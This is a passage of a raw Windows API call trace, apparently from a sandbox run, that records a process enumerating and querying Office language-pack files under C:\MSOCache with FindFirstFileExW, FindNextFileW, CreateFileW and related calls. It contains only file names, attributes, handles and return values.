lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549080 [0260.652] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.662] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0260.662] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0260.664] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0260.665] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0260.665] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0260.669] GetLastError () returned 0x12 [0260.669] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0260.672] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0260.676] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.678] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0260.678] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0260.680] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0260.680] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0260.681] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0260.681] GetLastError () returned 0x12 [0260.682] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0260.682] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0260.950] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0260.950] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0260.950] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0260.950] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0261.106] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0261.107] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0261.107] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94b690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94b690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0261.107] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94b690) returned 1 [0261.107] NtClose (Handle=0x188) returned 0x0 [0261.107] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0261.107] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0261.107] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.107] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0261.107] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0261.107] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0261.107] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0261.107] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0261.107] GetLastError () returned 0x12 [0261.107] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549080 [0261.107] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0261.108] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.108] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0261.108] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0261.108] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0261.108] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0261.108] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0261.108] GetLastError () returned 0x12 [0261.108] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0261.108] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0261.108] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0261.108] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0261.108] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0261.108] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0261.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0261.360] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0261.360] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94b690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94b690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0261.360] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94b690) returned 1 [0261.360] NtClose (Handle=0x190) returned 0x0 [0261.360] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0261.361] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549080 [0261.460] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.461] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0261.461] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0261.461] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0261.461] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0261.461] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0261.461] GetLastError () returned 0x12 [0261.461] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0261.461] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0261.461] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.461] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0261.461] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0261.462] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0261.462] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, 